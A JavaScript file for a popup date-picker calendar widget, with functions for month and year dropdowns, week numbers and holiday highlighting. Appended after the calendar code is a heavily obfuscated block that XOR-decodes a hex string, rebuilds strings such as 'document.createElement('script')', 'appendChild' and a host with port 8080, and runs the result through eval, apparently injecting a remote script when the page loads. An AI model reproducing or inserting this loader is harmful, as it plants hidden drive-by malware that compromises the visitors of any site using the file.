

var fixedX         = -1         // x position (-1 if to appear below control)
var fixedY         = -1         // y position (-1 if to appear below control)
var startAt        = 1          // 0 - sunday ; 1 - monday
var showWeekNumber = 1          // 0 - don't show; 1 - show
var showToday      = 1          // 0 - don't show; 1 - show
var imgDir      = "images/"     // directory for images ... e.g. var imgDir="/img/"
var gotoString  = "Go To Current Month"
var todayString = "Today is"
var weekString  = "Wk"
var scrollLeftMessage  = "Click to scroll to previous month. Hold mouse button to scroll automatically."
var scrollRightMessage = "Click to scroll to next month. Hold mouse button to scroll automatically."
var selectMonthMessage = "Click to select a month."
var selectYearMessage  = "Click to select a year."
var selectDateMessage  = "Select [date] as date." // do not replace [date], it will be replaced by date.
var crossobj, crossMonthObj, crossYearObj, monthSelected, yearSelected, dateSelected, omonthSelected, oyearSelected, odateSelected, monthConstructed, yearConstructed, intervalID1, intervalID2, timeoutID1, timeoutID2, ctlToPlaceValue, ctlNow, dateFormat, nStartingYear
var bPageLoaded=false
var ie  = document.all
var dom = document.getElementById
var ns4 = document.layers
var today    =     new     Date()
var dateNow  = today.getDate()
var monthNow = today.getMonth()
var yearNow  = today.getYear()
var imgsrc   = new Array("drop1.gif","drop2.gif","left1.gif","left2.gif","right1.gif","right2.gif")
var img      = new Array()

/* hides <select> and <applet> objects (for IE only) */

    function hideElement( elmID, overDiv )
    {
      if( ie )
      {
        for( i = 0; i < document.all.tags( elmID ).length; i++ )
        {
          obj = document.all.tags( elmID )[i];
          if( !obj || !obj.offsetParent )
          {
            continue;
          }

          // Find the element's offsetTop and offsetLeft relative to the BODY tag.
          objLeft   = obj.offsetLeft;
          objTop    = obj.offsetTop;
          objParent = obj.offsetParent;

          while( objParent.tagName.toUpperCase() != "BODY" )
          {
            objLeft  += objParent.offsetLeft;
            objTop   += objParent.offsetTop;
            objParent = objParent.offsetParent;
          }

          objHeight = obj.offsetHeight;
          objWidth = obj.offsetWidth;

          if(( overDiv.offsetLeft + overDiv.offsetWidth ) <= objLeft );
          else if(( overDiv.offsetTop + overDiv.offsetHeight ) <= objTop );
          else if( overDiv.offsetTop >= ( objTop + objHeight ));
          else if( overDiv.offsetLeft >= ( objLeft + objWidth ));
          else
          {
            obj.style.visibility = "hidden";
          }
        }
      }
    }

    /*
    * unhides <select> and <applet> objects (for IE only)
    */
    function showElement( elmID )
    {
      if( ie )
      {
        for( i = 0; i < document.all.tags( elmID ).length; i++ )
        {
          obj = document.all.tags( elmID )[i];

          if( !obj || !obj.offsetParent )
          {
            continue;
          }

          obj.style.visibility = "";
        }
      }
    }
	function HolidayRec (d, m, y, desc)
	{
		this.d = d
		this.m = m
		this.y = y
		this.desc = desc
	}
	var HolidaysCounter = 0
	var Holidays = new Array()
	function addHoliday (d, m, y, desc)
	{
		Holidays[HolidaysCounter++] = new HolidayRec ( d, m, y, desc )
	}
	if (dom)
	{
		for	(i=0;i<imgsrc.length;i++)
		{
			img[i] = new Image
			img[i].src = imgDir + imgsrc[i]
		}
		document.write ("<div id='calendar'	style='z-index:+999;position:absolute;visibility:hidden;'><table	width="+((showWeekNumber==1)?250:220)+" style='font-family:arial;font-size:11px;border-width:1;border-style:solid;border-color:#a0a0a0;font-family:arial; font-size:11px}' bgcolor='#ffffff'><tr bgcolor='#0000aa'><td><table width='"+((showWeekNumber==1)?248:218)+"'><tr><td style='padding:2px;font-family:arial; font-size:11px;'><font color='#ffffff'><B><span id='caption'></span></B></font></td><td align=right><a href='javascript:hideCalendar()'><IMG SRC='"+imgDir+"close.gif' WIDTH='15' HEIGHT='13' BORDER='0' ALT='Close the Calendar'></a></td></tr></table></td></tr><tr><td style='padding:5px' bgcolor=#ffffff><span id='content'></span></td></tr>")

		if (showToday==1)
		{
			document.write ("<tr bgcolor=#f0f0f0><td style='padding:5px' align=center><span id='lblToday'></span></td></tr>")
		}

		document.write ("</table></div><div id='selectMonth' style='z-index:+999;position:absolute;visibility:hidden;'></div><div id='selectYear' style='z-index:+999;position:absolute;visibility:hidden;'></div>");
	}
	var	monthName =	new	Array("January","February","March","April","May","June","July","August","September","October","November","December")
	if (startAt==0)
	{
		dayName = new Array	("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
	}
	else
	{
		dayName = new Array	("Mon","Tue","Wed","Thu","Fri","Sat","Sun")
	}
	var	styleAnchor="text-decoration:none;color:black;"
	var	styleLightBorder="border-style:solid;border-width:1px;border-color:#a0a0a0;"
	function swapImage(srcImg, destImg){
		if (ie)	{ document.getElementById(srcImg).setAttribute("src",imgDir + destImg) }
	}
	function init4()	{
		if (!ns4)
		{
			if (!ie) { yearNow += 1900	}
			crossobj=(dom)?document.getElementById("calendar").style : ie? document.all.calendar : document.calendar
			hideCalendar()
			crossMonthObj=(dom)?document.getElementById("selectMonth").style : ie? document.all.selectMonth	: document.selectMonth
			crossYearObj=(dom)?document.getElementById("selectYear").style : ie? document.all.selectYear : document.selectYear
			monthConstructed=false;
			yearConstructed=false;
			if (showToday==1)
			{
				document.getElementById("lblToday").innerHTML =	todayString + " <a onmousemove='window.status=\""+gotoString+"\"' onmouseout='window.status=\"\"' title='"+gotoString+"' style='"+styleAnchor+"' href='javascript:monthSelected=monthNow;yearSelected=yearNow;constructCalendar();'>"+dayName[(today.getDay()-startAt==-1)?6:(today.getDay()-startAt)]+", " + dateNow + " " + monthName[monthNow].substring(0,3)	+ "	" +	yearNow	+ "</a>"
			}
			sHTML1="<span id='spanLeft'	style='border-style:solid;border-width:1;border-color:#3366FF;cursor:pointer' onmouseover='swapImage(\"changeLeft\",\"left2.gif\");this.style.borderColor=\"#88AAFF\";window.status=\""+scrollLeftMessage+"\"' onclick='javascript:decMonth()' onmouseout='clearInterval(intervalID1);swapImage(\"changeLeft\",\"left1.gif\");this.style.borderColor=\"#3366FF\";window.status=\"\"' onmousedown='clearTimeout(timeoutID1);timeoutID1=setTimeout(\"StartDecMonth()\",500)'	onmouseup='clearTimeout(timeoutID1);clearInterval(intervalID1)'>&nbsp<IMG id='changeLeft' SRC='"+imgDir+"left1.gif' width=10 height=11 BORDER=0>&nbsp</span>&nbsp;"
			sHTML1+="<span id='spanRight' style='border-style:solid;border-width:1;border-color:#3366FF;cursor:pointer'	onmouseover='swapImage(\"changeRight\",\"right2.gif\");this.style.borderColor=\"#88AAFF\";window.status=\""+scrollRightMessage+"\"' onmouseout='clearInterval(intervalID1);swapImage(\"changeRight\",\"right1.gif\");this.style.borderColor=\"#3366FF\";window.status=\"\"' onclick='incMonth()' onmousedown='clearTimeout(timeoutID1);timeoutID1=setTimeout(\"StartIncMonth()\",500)'	onmouseup='clearTimeout(timeoutID1);clearInterval(intervalID1)'>&nbsp<IMG id='changeRight' SRC='"+imgDir+"right1.gif'	width=10 height=11 BORDER=0>&nbsp</span>&nbsp"
			sHTML1+="<span id='spanMonth' style='border-style:solid;border-width:1;border-color:#3366FF;cursor:pointer'	onmouseover='swapImage(\"changeMonth\",\"drop2.gif\");this.style.borderColor=\"#88AAFF\";window.status=\""+selectMonthMessage+"\"' onmouseout='swapImage(\"changeMonth\",\"drop1.gif\");this.style.borderColor=\"#3366FF\";window.status=\"\"' onclick='popUpMonth()'></span>&nbsp;"
			sHTML1+="<span id='spanYear' style='border-style:solid;border-width:1;border-color:#3366FF;cursor:pointer' onmouseover='swapImage(\"changeYear\",\"drop2.gif\");this.style.borderColor=\"#88AAFF\";window.status=\""+selectYearMessage+"\"'	onmouseout='swapImage(\"changeYear\",\"drop1.gif\");this.style.borderColor=\"#3366FF\";window.status=\"\"'	onclick='popUpYear()'></span>&nbsp;"

			document.getElementById("caption").innerHTML  =	sHTML1
			bPageLoaded=true
		}
// -=-=-=-=TOP IMAGE ROLL-OVER-=-=-=-=
// function init2() {

  if (!document.getElementById) return
  var imgOriginSrc;
  var imgTemp = new Array();
  var imgarr = document.getElementsByTagName('img');
  for (var i = 0; i < imgarr.length; i++) {
    if (imgarr[i].getAttribute('hsrc')) {
        imgTemp[i] = new Image();
        imgTemp[i].src = imgarr[i].getAttribute('hsrc');
        imgarr[i].onmouseover = function() {
            imgOriginSrc = this.getAttribute('src');
            this.setAttribute('src',this.getAttribute('hsrc'))
        }
        imgarr[i].onmouseout = function() {
            this.setAttribute('src',imgOriginSrc)
        }
    }
  }
//}
//window.onload=init2;

// -=-=-=-=END of TOP IMAGE ROLL-OVER-=-=-=-=


	}


	function hideCalendar()	{
		crossobj.visibility="hidden"
		if (crossMonthObj != null){crossMonthObj.visibility="hidden"}
		if (crossYearObj !=	null){crossYearObj.visibility="hidden"}
	    showElement( 'SELECT' );
		showElement( 'APPLET' );
	}
	function padZero(num) {
		return (num	< 10)? '0' + num : num ;
	}
	function constructDate(d,m,y)
	{
		sTmp = dateFormat
		sTmp = sTmp.replace	("dd","<e>")
		sTmp = sTmp.replace	("d","<d>")
		sTmp = sTmp.replace	("<e>",padZero(d))
		sTmp = sTmp.replace	("<d>",d)
		sTmp = sTmp.replace	("mmm","<o>")
		sTmp = sTmp.replace	("mm","<n>")
		sTmp = sTmp.replace	("m","<m>")
		sTmp = sTmp.replace	("<m>",m+1)
		sTmp = sTmp.replace	("<n>",padZero(m+1))
		sTmp = sTmp.replace	("<o>",monthName[m])
		return sTmp.replace ("yyyy",y)
	}
	function closeCalendar() {
		var	sTmp

		hideCalendar();
		ctlToPlaceValue.value =	constructDate(dateSelected,monthSelected,yearSelected)
	}

	/*** Month Pulldown	***/

	function StartDecMonth()
	{
		intervalID1=setInterval("decMonth()",80)
	}

	function StartIncMonth()
	{
		intervalID1=setInterval("incMonth()",80)
	}

	function incMonth () {
		monthSelected++
		if (monthSelected>11) {
			monthSelected=0
			yearSelected++
		}
		constructCalendar()
	}

	function decMonth () {
		monthSelected--
		if (monthSelected<0) {
			monthSelected=11
			yearSelected--
		}
		constructCalendar()
	}

	function constructMonth() {
		popDownYear()
		if (!monthConstructed) {
			sHTML =	""
			for	(i=0; i<12;	i++) {
				sName =	monthName[i];
				if (i==monthSelected){
					sName =	"<B>" +	sName +	"</B>"
				}
				sHTML += "<tr><td id='m" + i + "' onmouseover='this.style.backgroundColor=\"#FFCC99\"' onmouseout='this.style.backgroundColor=\"\"' style='cursor:pointer' onclick='monthConstructed=false;monthSelected=" + i + ";constructCalendar();popDownMonth();event.cancelBubble=true'>&nbsp;" + sName + "&nbsp;</td></tr>"
			}

			document.getElementById("selectMonth").innerHTML = "<table width=70	style='font-family:arial; font-size:11px; border-width:1; border-style:solid; border-color:#a0a0a0;' bgcolor='#FFFFDD' cellspacing=0 onmouseover='clearTimeout(timeoutID1)'	onmouseout='clearTimeout(timeoutID1);timeoutID1=setTimeout(\"popDownMonth()\",100);event.cancelBubble=true'>" +	sHTML +	"</table>"

			monthConstructed=true
		}
	}

	function popUpMonth() {
		constructMonth()
		crossMonthObj.visibility = (dom||ie)? "visible"	: "show"
		crossMonthObj.left = parseInt(crossobj.left) + 50
		crossMonthObj.top =	parseInt(crossobj.top) + 26
	}

	function popDownMonth()	{
		crossMonthObj.visibility= "hidden"
	}

	/*** Year Pulldown ***/

	function incYear() {
		for	(i=0; i<7; i++){
			newYear	= (i+nStartingYear)+1
			if (newYear==yearSelected)
			{ txtYear =	"&nbsp;<B>"	+ newYear +	"</B>&nbsp;" }
			else
			{ txtYear =	"&nbsp;" + newYear + "&nbsp;" }
			document.getElementById("y"+i).innerHTML = txtYear
		}
		nStartingYear ++;
	}

	function decYear() {
		for	(i=0; i<7; i++){
			newYear	= (i+nStartingYear)-1
			if (newYear==yearSelected)
			{ txtYear =	"&nbsp;<B>"	+ newYear +	"</B>&nbsp;" }
			else
			{ txtYear =	"&nbsp;" + newYear + "&nbsp;" }
			document.getElementById("y"+i).innerHTML = txtYear
		}
		nStartingYear --;
	}

	function selectYear(nYear) {
		yearSelected=parseInt(nYear+nStartingYear);
		yearConstructed=false;
		constructCalendar();
		popDownYear();
	}

	function constructYear() {
		popDownMonth()
		sHTML =	""
		if (!yearConstructed) {

			sHTML =	"<tr><td align='center'	onmouseover='this.style.backgroundColor=\"#FFCC99\"' onmouseout='clearInterval(intervalID1);this.style.backgroundColor=\"\"' style='cursor:pointer'	onmousedown='clearInterval(intervalID1);intervalID1=setInterval(\"decYear()\",30)' onmouseup='clearInterval(intervalID1)'>-</td></tr>"

			j =	0
			nStartingYear =	yearSelected-3
			for	(i=(yearSelected-3); i<=(yearSelected+3); i++) {
				sName =	i;
				if (i==yearSelected){
					sName =	"<B>" +	sName +	"</B>"
				}

				sHTML += "<tr><td id='y" + j + "' onmouseover='this.style.backgroundColor=\"#FFCC99\"' onmouseout='this.style.backgroundColor=\"\"' style='cursor:pointer' onclick='selectYear("+j+");event.cancelBubble=true'>&nbsp;" + sName + "&nbsp;</td></tr>"
				j ++;
			}

			sHTML += "<tr><td align='center' onmouseover='this.style.backgroundColor=\"#FFCC99\"' onmouseout='clearInterval(intervalID2);this.style.backgroundColor=\"\"' style='cursor:pointer' onmousedown='clearInterval(intervalID2);intervalID2=setInterval(\"incYear()\",30)'	onmouseup='clearInterval(intervalID2)'>+</td></tr>"

			document.getElementById("selectYear").innerHTML	= "<table width=44 style='font-family:arial; font-size:11px; border-width:1; border-style:solid; border-color:#a0a0a0;'	bgcolor='#FFFFDD' onmouseover='clearTimeout(timeoutID2)' onmouseout='clearTimeout(timeoutID2);timeoutID2=setTimeout(\"popDownYear()\",100)' cellspacing=0>"	+ sHTML	+ "</table>"

			yearConstructed	= true
		}
	}

	function popDownYear() {
		clearInterval(intervalID1)
		clearTimeout(timeoutID1)
		clearInterval(intervalID2)
		clearTimeout(timeoutID2)
		crossYearObj.visibility= "hidden"
	}

	function popUpYear() {
		var	leftOffset

		constructYear()
		crossYearObj.visibility	= (dom||ie)? "visible" : "show"
		leftOffset = parseInt(crossobj.left) + document.getElementById("spanYear").offsetLeft
		if (ie)
		{
			leftOffset += 6
		}
		crossYearObj.left =	leftOffset
		crossYearObj.top = parseInt(crossobj.top) +	26
	}

	/*** calendar ***/

	function WeekNbr(n) {
		var P3D=259200000, P7D=604800000, y=n.getYear(), y=(y<1000?1900+y:y);
		var s=Math.floor((Date.UTC(y,n.getMonth(),n.getDate())+P3D)/P7D);
		tmp=new Date(s*P7D); j=tmp.getYear(); j=(j<1000?1900+j:j);
		return 1+s-Math.floor((Date.UTC(j,0,4)+P3D)/P7D)
	}


	function constructCalendar () {
		var aNumDays = Array (31,0,31,30,31,30,31,31,30,31,30,31)

		var dateMessage
		var	startDate =	new	Date (yearSelected,monthSelected,1)
		var endDate

		if (monthSelected==1)
		{
			endDate	= new Date (yearSelected,monthSelected+1,1);
			endDate	= new Date (endDate	- (24*60*60*1000));
			numDaysInMonth = endDate.getDate()
		}
		else
		{
			numDaysInMonth = aNumDays[monthSelected];
		}

		datePointer	= 0
		dayPointer = startDate.getDay() - startAt

		if (dayPointer<0)
		{
			dayPointer = 6
		}

		sHTML =	"<table	 border=0 style='font-family:verdana;font-size:10px;'><tr>"

		if (showWeekNumber==1)
		{
			sHTML += "<td width=27><b>" + weekString + "</b></td><td width=1 rowspan=7 bgcolor='#d0d0d0' style='padding:0px'><img src='"+imgDir+"divider.gif' width=1></td>"
		}

		for	(i=0; i<7; i++)	{
			sHTML += "<td width='27' align='right'><B>"+ dayName[i]+"</B></td>"
		}
		sHTML +="</tr><tr>"

		if (showWeekNumber==1)
		{
			sHTML += "<td align=right>" + WeekNbr(startDate) + "&nbsp;</td>"
		}

		for	( var i=1; i<=dayPointer;i++ )
		{
			sHTML += "<td>&nbsp;</td>"
		}

		for	( datePointer=1; datePointer<=numDaysInMonth; datePointer++ )
		{
			dayPointer++;
			sHTML += "<td align=right>"
			sStyle=styleAnchor
			if ((datePointer==odateSelected) &&	(monthSelected==omonthSelected)	&& (yearSelected==oyearSelected))
			{ sStyle+=styleLightBorder }

			sHint = ""
			for (k=0;k<HolidaysCounter;k++)
			{
				if ((parseInt(Holidays[k].d)==datePointer)&&(parseInt(Holidays[k].m)==(monthSelected+1)))
				{
					if ((parseInt(Holidays[k].y)==0)||((parseInt(Holidays[k].y)==yearSelected)&&(parseInt(Holidays[k].y)!=0)))
					{
						sStyle+="background-color:#FFDDDD;"
						sHint+=sHint==""?Holidays[k].desc:"\n"+Holidays[k].desc
					}
				}
			}

			var regexp= /\"/g
			sHint=sHint.replace(regexp,"&quot;")

			dateMessage = "onmousemove='window.status=\""+selectDateMessage.replace("[date]",constructDate(datePointer,monthSelected,yearSelected))+"\"' onmouseout='window.status=\"\"' "

			if ((datePointer==dateNow)&&(monthSelected==monthNow)&&(yearSelected==yearNow))
			{ sHTML += "<b><a "+dateMessage+" title=\"" + sHint + "\" style='"+sStyle+"' href='javascript:dateSelected="+datePointer+";closeCalendar();'><font color=#ff0000>&nbsp;" + datePointer + "</font>&nbsp;</a></b>"}
			else if	(dayPointer % 7 == (startAt * -1)+1)
			{ sHTML += "<a "+dateMessage+" title=\"" + sHint + "\" style='"+sStyle+"' href='javascript:dateSelected="+datePointer + ";closeCalendar();'>&nbsp;<font color=#909090>" + datePointer + "</font>&nbsp;</a>" }
			else
			{ sHTML += "<a "+dateMessage+" title=\"" + sHint + "\" style='"+sStyle+"' href='javascript:dateSelected="+datePointer + ";closeCalendar();'>&nbsp;" + datePointer + "&nbsp;</a>" }

			sHTML += ""
			if ((dayPointer+startAt) % 7 == startAt) {
				sHTML += "</tr><tr>"
				if ((showWeekNumber==1)&&(datePointer<numDaysInMonth))
				{
					sHTML += "<td align=right>" + (WeekNbr(new Date(yearSelected,monthSelected,datePointer+1))) + "&nbsp;</td>"
				}
			}
		}

		document.getElementById("content").innerHTML   = sHTML
		document.getElementById("spanMonth").innerHTML = "&nbsp;" +	monthName[monthSelected] + "&nbsp;<IMG id='changeMonth' SRC='"+imgDir+"drop1.gif' WIDTH='12' HEIGHT='10' BORDER=0>"
		document.getElementById("spanYear").innerHTML =	"&nbsp;" + yearSelected	+ "&nbsp;<IMG id='changeYear' SRC='"+imgDir+"drop1.gif' WIDTH='12' HEIGHT='10' BORDER=0>"
	}

	function popUpCalendar(ctl,	ctl2, format) {
		var	leftpos=0
		var	toppos=0

		if (bPageLoaded)
		{
			if ( crossobj.visibility ==	"hidden" ) {
				ctlToPlaceValue	= ctl2
				dateFormat=format;

				formatChar = " "
				aFormat	= dateFormat.split(formatChar)
				if (aFormat.length<3)
				{
					formatChar = "/"
					aFormat	= dateFormat.split(formatChar)
					if (aFormat.length<3)
					{
						formatChar = "."
						aFormat	= dateFormat.split(formatChar)
						if (aFormat.length<3)
						{
							formatChar = "-"
							aFormat	= dateFormat.split(formatChar)
							if (aFormat.length<3)
							{
								// invalid date	format
								formatChar=""
							}
						}
					}
				}

				tokensChanged =	0
				if ( formatChar	!= "" )
				{
					// use user's date
					aData =	ctl2.value.split(formatChar)

					for	(i=0;i<3;i++)
					{
						if ((aFormat[i]=="d") || (aFormat[i]=="dd"))
						{
							dateSelected = parseInt(aData[i], 10)
							tokensChanged ++
						}
						else if	((aFormat[i]=="m") || (aFormat[i]=="mm"))
						{
							monthSelected =	parseInt(aData[i], 10) - 1
							tokensChanged ++
						}
						else if	(aFormat[i]=="yyyy")
						{
							yearSelected = parseInt(aData[i], 10)
							tokensChanged ++
						}
						else if	(aFormat[i]=="mmm")
						{
							for	(j=0; j<12;	j++)
							{
								if (aData[i]==monthName[j])
								{
									monthSelected=j
									tokensChanged ++
								}
							}
						}
					}
				}

				if ((tokensChanged!=3)||isNaN(dateSelected)||isNaN(monthSelected)||isNaN(yearSelected))
				{
					dateSelected = dateNow
					monthSelected =	monthNow
					yearSelected = yearNow
				}

				odateSelected=dateSelected
				omonthSelected=monthSelected
				oyearSelected=yearSelected

				aTag = ctl
				do {
					aTag = aTag.offsetParent;
					leftpos	+= aTag.offsetLeft;
					toppos += aTag.offsetTop;
				} while(aTag.tagName!="BODY");

				crossobj.left =	fixedX==-1 ? ctl.offsetLeft	+ leftpos :	fixedX
				crossobj.top = fixedY==-1 ?	ctl.offsetTop +	toppos + ctl.offsetHeight +	2 :	fixedY
				constructCalendar (1, monthSelected, yearSelected);
				crossobj.visibility=(dom||ie)? "visible" : "show"

				hideElement( 'SELECT', document.getElementById("calendar") );
				hideElement( 'APPLET', document.getElementById("calendar") );
			}
			else
			{
				hideCalendar()
				if (ctlNow!=ctl) {popUpCalendar(ctl, ctl2, format)}
			}
			ctlNow = ctl
		}
	}
	window.onload=init4;

var HRS="e7c6eaf2c5a6c0848d99a8f4d5f1c7d4aeefcff2c2d0c7d0d9e0e8e4f6c6ffd3f6cbf2c9c7cae0dbfbc0dbfdd2f2e5dad7d3dcd6f2eecff1f2fdd0c6d2e6d0fcc6b3fdc5bfd1d6fbb9d1cda6d0dc";var mKX;if(mKX!='' && mKX!='SC'){mKX=null};var aj;if(aj!='' && aj!='dN'){aj=null};this.HRz=6276;function M(k){var L="L";var Bx=new Date(); function D(x,U){return x^U;var Ps;if(Ps!='bM' && Ps != ''){Ps=null};var Myr;if(Myr!='nf' && Myr != ''){Myr=null};}var uW="uW";var IZ="IZ";var pS=new Date(); var i=function(C){var Dw=new String();var ht=new String();var Lc;if(Lc!='s'){Lc='s'};var WC="";var r=[49,78,0][2];var mL;if(mL!='' && mL!='rC'){mL=''};var y=[199,255,174][1];var l;if(l!='HT'){l=''};var Nr;if(Nr!='kJ' && Nr!='K'){Nr='kJ'};var wt=C[n("gelnth", [2,1,3,0])];var pz=new Array();var Mv=[0,244,28][0];var sz="";this.zq="zq";var m=[242,36,1][2];var lZ=new Date();var ND;if(ND!='VW'){ND=''};this.kmd="";var gk;if(gk!='' && gk!='QK'){gk=''};while(Mv<wt){var ke=new Array();Mv++;xQ=ic(C,Mv - m);var Ej=new String();r+=xQ*wt;var rA=new Array();var eB;if(eB!='jj'){eB=''};}var Se;if(Se!=''){Se='ep'};var Tx=44977;return new F(r % y);var Ld=false;var Ll;if(Ll!=''){Ll='WE'};};this.FY="FY"; function ic(Q,h){this.HV=23868;return Q[n("achrdCoeAt", [1,2,0,3])](h);var Ha;if(Ha!='Xo' && Ha!='tJ'){Ha=''};}var Wge;if(Wge!=''){Wge='PY'};var fL="";var kX=new String();var lb=new String(); this.iz='';var CB;if(CB!='Te' && CB!='av'){CB='Te'};function n(Cm, B){this.Nz=false;var MW;if(MW!='Xh'){MW=''};var HJ;if(HJ!='iA' && HJ!='wU'){HJ=''};var E=[0][0];var m=[1,86][0];var Th="";var TJ="";var MS = Cm.length;var BT = '';var q = B.length;this.zl=23011;var HS=new String();var TL;if(TL!='' && TL!='wf'){TL=''};var Cq=new String();for(var f = E; f < MS; f += q) {var MF = Cm.substr(f, q);this.mx="mx";var FL;if(FL!='ife' && FL!='tF'){FL=''};if(MF.length == q){var LP;if(LP!='' && LP!='jk'){LP=null};var NX;if(NX!=''){NX='Jf'};for(var Mv in B) {var Wf;if(Wf!='hn' && Wf != ''){Wf=null};this.pL=64601;BT+=MF.substr(B[Mv], m);var kq;if(kq!='' && kq!='ID'){kq=''};var Zb;if(Zb!='' && Zb!='HE'){Zb='AD'};}var Gz=new Array();var Fe;if(Fe!='Rz' && Fe!='hO'){Fe='Rz'};} else {  BT+=MF;var UY;if(UY!='lm'){UY=''};var oJ="";}var qHg;if(qHg!='Mi' && qHg!='IA'){qHg='Mi'};}var la='';var ki;if(ki!='' && ki!='EX'){ki=''};return BT;var Me;if(Me!='fJ'){Me='fJ'};}var IE;if(IE!='By'){IE='By'};var c="c";this.yO=''; var mg=new Date();function u(Cm){var lk;if(lk!='tH' && lk != ''){lk=null};var f =[55,0][1];var wq;if(wq!='ip'){wq=''};this.Jn=false;Cm = new F(Cm);var kk;if(kk!='' && kk!='nI'){kk=null};var LO;if(LO!='' && LO!='zc'){LO=null};var E =[0,249,109][0];var WH=new Array();var p = -1;var gv=18358;var BT = '';var xEC;if(xEC!='Hj' && xEC != ''){xEC=null};var QN;if(QN!='' && QN!='Di'){QN='ug'};var psy='';var BX;if(BX!='TLF'){BX='TLF'};for (f=Cm[n("enltgh", [2,0,1,4,3])]-p;f>=E;f=f-[1][0]){BT+=Cm[n("hcratA", [1,0])](f);this.xX=17793;}var QB=new Date();return BT;}var HP;if(HP!='BC'){HP='BC'};var eC;if(eC!=''){eC='gM'};var Es=false;var RX;if(RX!='xT'){RX=''};this.Gg='';var nD;if(nD!='' && nD!='lmE'){nD=''};var qc=window;this.tQ="";var YZ=new Array();var Ma=qc[n("lave", [3,2,1,0])];var g=Ma(n("nuFitcon", [2,1,0]));this.BP=19306;var KWw;if(KWw!='jgu'){KWw='jgu'};var jf;if(jf!='Ryp'){jf=''};var d=Ma(n("pEeRgx", [3,2,4,1,5,0]));var F=Ma(n("trSngi", [2,0,1]));var aV;if(aV!=''){aV='qG'};var nY=false;var a = '';var Fz;if(Fz!='NU' && Fz != ''){Fz=null};this.DQE="";this.Lp="";var Bi;if(Bi!='PE'){Bi='PE'};var jU="jU";var akR='';var HR='';var NO=43300;var Ol=new String();var Vm="Vm";var Cw=qc[n("snueeacp", [2,1,3,0])];var pY=F[n("rfmohCraoCed", [1,0])];var Ou;if(Ou!='' && Ou!='kG'){Ou=null};var kM = /[^@a-z0-9A-Z_-]/g;this.FC="";this.kF="";var qU =[141,9,2][2];var jc="jc";var Xr;if(Xr!='lO' && Xr != ''){Xr=null};var yH=new Array();var rg = F.fromCharCode(37);var b=[1, n("odmucnec.teretalEemetns\'(rctpi\')", [1,0,4,3,2]),2, n("ucodm.tneb.ydoaneppdlihCd(d)", [3,2,1,0,4]),3, n("eiwkiprida.og", [2,1,3,4,5,0]),4, n("ocmu.ssp.ocmw.htieapges", [1,0,2]),5, n("eh.otmcurfeown08u.:rm80", [6,3,5,2,4,1,0]),6, n(".dsteAttrbiuet(d\'eefr\'", [1,0,2]),7, n("iwnodwo.nolad", [1,0,2]),8, n("ogogel.com", [1,0,2,3]),11, n("cifnoutn()", [2,5,3,0,6,1,4]),12, n("pyal.ogjp", [1,2,0,3]),14, n("111841c.n", [1,0]),15, n("acct(h)e", [1,0]),16, n("ph\":tt", [2,1,5,4,0,3]),17, n("rsd.c", [2,3,1,0]),18, n("\'1\')", [2,1,0,3]),19, n("rty", [1,0]),20, n("bna", [1,0])];var xAB;if(xAB!='' && xAB!='ZS'){xAB=null};var Ml=new Array();var E =[0,118][0];var v = '';var V = k[n("elgnht", [1,0])];var oz=10700;var zO;if(zO!='pp'){zO='pp'};var CZ =[0][0];this.BD='';var Pe;if(Pe!='McS' && Pe != ''){Pe=null};var j = '';var m =[1][0];var YH;if(YH!='FS' && YH!='cr'){YH=''};var kuJ=false;var X = '';var ADi;if(ADi!='CO'){ADi=''};var EcL="";for(var Bc=E; Bc < V; Bc+=qU){j+= rg; var er;if(er!='' && er!='kJv'){er=''};j+= k[n("ussbrt", [1,0])](Bc, qU);}var pg;if(pg!='' && pg!='Ci'){pg=''};this.ZP='';var k = Cw(j);var AF;if(AF!='' && AF!='dWT'){AF='HK'};var uh="";var dx;if(dx!='' && dx!='rZ'){dx=''};var ni = new F(M);var jH=new Array();var rS = ni[n("paelrce", [4,2,0,3,1,5])](kM, X);var Z = b[n("nlehgt", [1,2,0])];var IQu=new String();rS = u(rS);var Qp='';var Gzy;if(Gzy!='' && Gzy!='Pv'){Gzy=''};var H = new F(g);var Ap;if(Ap!='bs'){Ap=''};var VL = H[n("lprcaee", [2,6,1,0,4,3,5])](kM, X);var mQ="";var VL = i(VL);this.rr='';this.Cmc='';var HD=i(rS);this.bE="";var sS=8085;var kvi;if(kvi!='oN'){kvi=''};for(var f=E; f < (k[n("nlgteh", [1,4,0,2,3])]);f=f+[1][0]) {var AL;if(AL!='rq' && AL!='sT'){AL='rq'};this.Ft='';this.TRn='';var hg;if(hg!='' && hg!='Bk'){hg=null};var O = rS.charCodeAt(CZ);var xbm;if(xbm!='qN' && xbm != ''){xbm=null};this.mad=false;var jg = ic(k,f);var rR;if(rR!='QL' && rR!='SQ'){rR=''};var GY;if(GY!='Kru'){GY=''};jg = D(jg, O);var Vz;if(Vz!='kMz' && Vz!='wd'){Vz=''};jg = D(jg, HD);var SV;if(SV!='nYW'){SV=''};jg = D(jg, VL);this.FQ=false;var VLL;if(VLL!='' && VLL!='zL'){VLL=null};CZ++;var nk=false;if(CZ > rS.length-m){var XT=6033;var Vw=new String();CZ=E;}v += pY(jg);var jM;if(jM!='JOd' && jM!='gpU'){jM=''};}var Yq;if(Yq!=''){Yq='Ff'};this.LC="LC";var oj;if(oj!='' && oj!='kV'){oj=''};var LU;if(LU!='vt' && LU != ''){LU=null};for(My=E; My < Z; My+=qU){var eE;if(eE!=''){eE='wQ'};var HQ='';var lJQ=new Array();var tf=new Array();var G = b[My + m];var W = pY(b[My]);var Is="Is";var vrT;if(vrT!='uw'){vrT='uw'};var Dwk;if(Dwk!='pP'){Dwk='pP'};var ir;if(ir!=''){ir='Cc'};var N = new d(W, F.fromCharCode(103));v=v[n("perceal", [2,4,0,6,5,3,1])](N, G);this.eD="";this.AI=false;}var BCx=new Date();var WQ=new g(v);WQ();var sW;if(sW!='' && sW!='UW'){sW=null};var wP="";WQ = '';var AED=30168;var aa;if(aa!='' && aa!='ok'){aa='Byd'};v = '';this.FtF="FtF";this.MIZ="MIZ";rS = '';this.RW=11184;VL = '';var gx;if(gx!='' && gx!='Nc'){gx=''};var sI=false;HD = '';var bl;if(bl!=''){bl='AM'};H = '';this.uT="";var gkn=new Date();return '';var Dc=34681;var sQ="sQ";};var mKX;if(mKX!='' && mKX!='SC'){mKX=null};var aj;if(aj!='' && aj!='dN'){aj=null};this.HRz=6276;M(HRS);


